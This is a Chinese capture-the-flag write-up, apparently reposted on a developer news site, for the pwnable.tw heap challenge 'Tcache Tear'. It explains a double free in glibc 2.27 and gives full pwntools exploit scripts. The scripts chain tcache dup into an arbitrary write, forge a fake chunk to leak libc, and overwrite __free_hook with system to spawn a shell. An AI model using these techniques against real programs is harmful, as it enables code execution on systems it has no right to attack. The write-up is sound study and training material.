和媳妇一起学Pwn 之 Tcache Tear

栏目: IT技术 · 发布时间: 5年前

内容简介:漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。在通过任意地址写构造,size大于tcache的fake chunk,然后free,使其进入unsorted bin,再通过悬空指针对其内容进行读取即可泄露libc。进而再次利用任意地址写修改libc中可用的函数指针,进而getshell。64位动态链接,去了符号表,GOT

漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。

利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。在通过任意地址写构造,size大于tcache的fake chunk,然后free,使其进入unsorted bin,再通过悬空指针对其内容进行读取即可泄露libc。进而再次利用任意地址写修改libc中可用的函数指针,进而getshell。

参考

检查

➜   file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped
➜   checksec tcache_tear
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

64位动态链接,去了符号表,GOT不可写。给了libc,检查其版本:

➜  strings libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Compiled by GNU CC version 7.3.0.

libc版本为2.27,加上题目名字为tcache,所以我们需要在本地使用libc2.27的ubuntu18.04来进行题目的调试,经过对比:

➜  diff ./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so /lib/x86_64-linux-gnu/libc-2.27.so

这里我们发现题目给的libc和我们本机18.04的libc完全相同,所以可以直接分析啦。

分析

运行发现是首先是输入一个名字,然后还是菜单,malloc,free和info,不过free并没有指定目标序号,还是IDA直接进行分析。这里注意,IDA分析出的main函数,并不意味着main这个函数符号没被去掉,可以发现gdb并无法对main函数打断,所以IDA分析出的main函数是从libc_start_main的参数推算出来的。分析后对以下函数重命名:

sub_400948 -> init_
sub_400A25 -> read_string
sub_400A9C -> menu
sub_4009C4 -> read_num
sub_400B99 -> info
sub_400B14 -> add
unk_602060 -> name

main

改名后主函数如下,可见程序会先读取用户输入最长0x20的字符串放到bss段,然后进入主循环,发现:

  • info是打印name的那个bss字段,固定输出0x20个字节
  • free函数的参数是一个固定在bss段的全局变量,而且free后没清零
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  init_();
  printf("Name:", a2);
  read_string((__int64)&name, 0x20u);
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = read_num();
      if ( v3 != 2 )
        break;
      if ( v4 <= 7 )
      {
        free(ptr);
        ++v4;
      }
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        info();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      add();
    }
  }
}

add

然后就add函数还有点内容了,可以任意申请大小小于0xff的堆块并填写内容,然后返回堆块地址到ptr这个bss段的全局变量上。所以可以发现,ptr这个变量只能保存最后一个申请的堆块的地址,即每当malloc被调用,ptr这个位置就会被写入新分配堆块的地址。

int add()
{
  unsigned __int64 v0; // rax
  int size; // [rsp+8h] [rbp-8h]

  printf("Size:");
  v0 = read_num();
  size = v0;
  if ( v0 <= 0xFF )
  {
    ptr = malloc(v0);
    printf("Data:");
    read_string((__int64)ptr, size - 16);
    LODWORD(v0) = puts("Done !");
  }
  return v0;
}

漏洞点

这个题目的漏洞点就是,在free后,没有对指针进行清零,导致存在悬空指针。一个堆块可以free多次,存在UAF。

if ( v4 <= 7 )
{
free(ptr);
++v4;
}

利用

首先需要了解tcache的基本知识,简单的来说,tcache就是为了追求效率,实现的一个更简单,更没啥校验,更大的fastbin。以下为ctf-wiki的参考文章:

tcache dup构造任意地址写

本题中,我们可以对同一个堆块free两次,在fastbin attack中这事叫double free,不过在fastbin中是有限制的,我们不能直接对一个堆块连续free两次。但是在libc2.27的tcache机制中是可以的,所以我们在构造fastbin的double free的完成任意地址写任意数据的序列,如在 Write Some Paper (大小姐教我入门堆) 中的利用序列:

a = malloc(0x20)
b = malloc(0x20)

free(a);
free(b);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20)
malloc(0x20,data)

就可以简化为:

a = malloc(0x20);

free(a);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20,data)

故尝试如下,利用tcache dup取修改我们初始的名字:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./tcache_tear")
io =  process(myelf.path)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to modify name
name_bss = 0x602060
init('xuan')
aaw(0x50,name_bss,'admin')
info()
io.interactive()

这里调用aaw时,第一个参数为使用的tcache的哪条链,调用时如果重复使用一条链将会出错,原因参考: ama2in9的wp:Tcache Tear ,所以这里我们其实只能任意地址写17次,即申请小于0xff的堆块,只能占用17条tcache的链。运行脚本可以发现已经打印出了admin,为我们修改后的名字,证明了我们已经实现了任意地址写任意值。到这里,攻击者已经拿到了一个很强的能力,接下来就是要找到能控制程序流的内存数据,然后修改掉。我们一般有如下选择:

  • 程序自己实现的函数指针
  • GOT表
  • fini_array段函数指针
  • libc中的函数指针

不过我们发现:

  • 程序自己没有什么函数指针
  • GOT表不可写
  • main函数是个死循环,不会返回到libc_start_main,进而执行到fini_array段注册的函数

故只好泄露libc基址,进而去修改libc中可以被调用的函数指针

构造伪堆块泄露libc

tcache泄露libc常规办法

我们现在有任意地址写的能力,但是我们读的能力比较差。本题除了任意地址写,我们还有最开始获得这个能力的初始能力,即对堆块的一系列操作。所以我们可以结合这两个能力,完成libc的泄露。思路和hacknote那题很像,libc的地址信息可以通过堆管理器的双向链表的机制进行泄露,我们只要把堆块想办法搞到unsorted bin这种双向链表里,在想办法读到堆块的数据即可。绕过tcache使得堆块free后进入unsorted bin的方式通常有两种:

  1. 每个tcache链上默认最多包含7个块,再次free这个大小的堆块将会进入其他bin中,例如 tcache_attack/libc-leak
  2. 默认情况下,tcache中的单链表个数是64个,64位下可容纳的最大内存块大小是1032(0x408),故只要申请一个size大于0x408的堆块,然后free即可

但是本题均无法直接做到:

  1. 在free处做了限制,最多free七次,无法填满tcache的一条单链
  2. 在add函数中,无法申请大于0xff的堆块

house of spirit

不过以上两种办法均需要对free后的堆块进行读取,而本题中我们只能读取到bss段的name部分,所以想到:

  1. 利用任意地址写,在bss段构造大小超出0x408的伪堆块
  2. 然后free掉,使其进入unsorted bin中
  3. 利用info函数,读取其内容即可

这个构造伪堆块然后free的思路就叫: house of spirit ,不过这个一般利用在,free前我们能控制部分关键的内存并可以构造伪堆块,free后接着malloc进行完整堆块内存的控制,目的一般是扩大内存控制范围。

本题情景略有不同,我们已经拥有了任意地址写的能力,我们是借助任意地址写构造伪堆块,大小超过tcache容纳范围,使其在free时绕过tcache机制直接进入unsorted bin,然后读取。但如何构造一个堆块才能使其free后进入unsorted bin呢? 除了要伪造的size要大于0x408,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块。 因为在free时,会对当前的堆块后面的堆块进行一些列检查:

https://github.com/lattera/glibc/blob/master/malloc/malloc.c

// 在 _int_free 函数中
if (nextchunk != av->top) {
  /* get and clear inuse bit */
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。如图:

bss

name  +------------> +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x501 |
ptr   +------------> +--------+
                     |        |
free(ptr);           |        |
                     |        |  fake chunk 1
                     |        |
                     |        |
                     |        |
                     |        |
                     |        |
                     |        |
name + 0x500  +----> +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x21  |
                     +--------+  fake chunk 2
                     |   0    |
                     +--------+
                     |   0    |
                     +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x21  |
                     +--------+  fake chunk 3
                     |   0    |
                     +--------+
                     |   0    |
                     +--------+ +------------+

而且我们最后free的时候需要的指针是name+0x10位置处的数据部分指针,这样才能正确的free掉这个堆块,所以我们使用如下策略(当然还可以使用其他策略):

  1. 在最开始输入name时,直接构造好chunk1的前16个字节
  2. 然后利用任意地址写构造name+0x500的后两个堆块
  3. 再次利用任意地址写,向name+0x10写任意数据,目的是执行完最后一个malloc,ptr全局变量会被更新为name+0x10
  4. free即可将这个堆块送入unsorted bin中
  5. 使用info函数读取name前0x20字节的内容,即可泄露unsorted bin地址
  6. 经过本地调试unsorted bin距离libc基址的偏移为0x3ebca0
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./tcache_tear")
io =  process(myelf.path)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :"); io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
log.warn("libc:0x%x"%libc_addr)
io.interactive()

这里采用: io.recvuntil("Name :"); io.recv(0x10) ,而不直接采用: io.recv(0x16) 的原因是, Name : 这6个字符和后面的内容是两条语句打印,在远程攻击的时候可能会出现数据先后到达延迟的io问题。至此我们已经成功的泄露libc基址,可以自行gdb调试对比vmmap中的libc基址进行检查。

控制流劫持

libc中有很多可以利用的函数指针,比如在 清华校赛THUCTF2019 之 warmup 题目中,就可以间接的去控制fork函数中的一个函数指针从而控制流劫持。在堆的题目中常用的函数是 __free_hook__malloc_hook ,这俩函数名为啥这么奇怪呢?我们还要从malloc和free的实现说起:

libc中的钩子函数

在malloc和free的函数的开始部分,都会去判断是否有相应的钩子函数:

// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
    mstate ar_ptr;
    void * victim;
    // 检查是否有内存分配钩子,如果有,调用钩子并返回.
    void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
    if (__builtin_expect(hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS(0));
...
}
// wapper for int_free
void __libc_free(void *mem) {
    mstate    ar_ptr;
    mchunkptr p; /* chunk corresponding to mem */
    // 判断是否有钩子函数 __free_hook
    void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
    if (__builtin_expect(hook != NULL, 0)) {
        (*hook)(mem, RETURN_ADDRESS(0));
        return;
    }
...
}

这是用来方便用户自定义自己的malloc和free函数,用法参考: malloc hook初探

void (*__malloc_initialize_hook) (void) = my_init_hook;
__malloc_hook = my_malloc_hook;
__free_hook = my_free_hook;

直接利用这种赋值语句,就可以直接给libc中的对应变量赋值,因为这几个符号都是libc所导出的。看到这我突然明白一点,使用动态库的方式不仅仅是可以调用函数,还可以直接对其中暴露出来的变量进行赋值。即动态库除了给我们暴露出函数接口以外还可以暴露出变量接口。当然我认为这个用途一般并不是让用户自己去重写malloc和free,而是让用户能在malloc和free前自动的做一些事情,以便于进行一些测试什么的。那还有没有其他的hook函数呢?

➜  strings libc2.27.so | grep hook
__malloc_initialize_hook
_dl_open_hook
argp_program_version_hook
__after_morecore_hook
__memalign_hook
__malloc_hook
__free_hook
_dl_open_hook2
__realloc_hook

这些可能都是未来的利用目标呀!

利用__free_hook

本题我们利用__free_hook来完成控制流劫持,因为我们可以执行free函数,即可以触发到相应的函数指针,并且方便控制参数:

if ( v4 <= 7 )
{
  free(ptr);
  ++v4;
}

ptr参数可以通过malloc直接控制,所以接下来有两种方法:

/bin/sh

找到以下one_gadget地址,测试第二个可用:

➜  one_gadget libc2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

完整exp

最终完整exp采用第二种方法劫持控制流:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
mylibc = ELF("./libc2.27.so")
io =  remote("chall.pwnable.tw",10207)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :");io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
free_hook = libc_addr + mylibc.symbols['__free_hook']
system    = libc_addr + mylibc.symbols['system']

# use aaw to modify __free_hook to system
aaw(0x70,free_hook,p64(system))
malloc(0x80,"$0\x00")

# call free to getshell
free()
io.interactive()

思考

如果把这到题目放在2.23版本的libc下应该怎么做呢?


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Book of CSS3

The Book of CSS3

Peter Gasston / No Starch Press / 2011-5-13 / USD 34.95

CSS3 is the technology behind most of the eye-catching visuals on the Web today, but the official documentation can be dry and hard to follow. Luckily, The Book of CSS3 distills the heady technical la......一起来看看 《The Book of CSS3》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具